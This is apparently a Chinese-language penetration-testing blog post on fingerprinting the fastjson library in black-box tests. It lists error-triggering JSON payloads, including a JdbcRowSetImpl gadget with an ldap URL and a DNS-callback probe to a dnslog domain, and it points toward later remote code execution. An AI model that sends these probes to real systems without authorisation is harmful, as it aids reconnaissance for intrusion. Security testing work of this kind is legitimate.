Fastjson 组件黑盒探测方式技巧合集

今天我们来总结一下通过构造数据包引发接口报错，从而根据报错信息判断接口是否使用了 fastjson 组件，从而提高 fastjson 漏洞的发现效率，如果接口数量少的情况下，无需如此，直接一梭子 poc 打下去即可，也用不了多少时间，但是如果接口数量过多的情况下，可以先通过报错来确认接口是否使用了 fastjson 组件，然后再进一步探测漏洞，可以提高效率，也能减少发送恶意包的数量。

在实战中，遇到过如下几个场景:

1、发送 payload：

{'@type': 'java.lang.Object'}

image-20250825095102092

响应包中包含 alibaba.fastjson关键词，可以确认该接口使用了 fastjson 组件。

2、发送 payload：

{"@type": "com.sun.rowset.JdbcRowSetImpl", "dataSourceName": "ldap://localhost", "autoCommit": True}

image-20250825095759145

响应包中包含关键词 AutoType is not support，可以确定该接口使用了 fastjson 组件。

3、发送 payload：

{"@type": "non.existent.Class123"}

image-20250825095829586

响应包中包含关键词 autoType is not support，可以确定该接口使用了 fastjson 组件。

为此，我将常见的规则和响应关键词进行整合，借助 AI 编写了一个测试脚本，可以自动探测接口是否是 fastjson 组件，相关规则配置如图：

image-20250825101238631

有了这个配置，直接丢给 AI ，很快就能写出一个完整测试脚本，这里就不做分享啦。

如果遇到接口无报错的情况下，无法通过回显信息来判断接口是否使用了 fastjson 组件，这种情况下只能进行盲打，通过 dns 回显来确认接口是否使用 fastjson 组件，比如使用 payload：

{"@type":"java.net.Inet4Address","val":"1cab9481.log.nat.cloudns.ph."}

其中的域名地址来自于 dnslog 平台，发送 payload 之后，可以在 dnslog 平台看到解析记录：

image-20250825100440081

收集到接口之后，可以尝试漏洞利用探测，主要利用方式有两种，一种是借助 Tomcat 回显命令执行的结果，一种是借助 fastjson 的利用工具来完成利用，更多详细内容，参考文库：

image-20250825100719574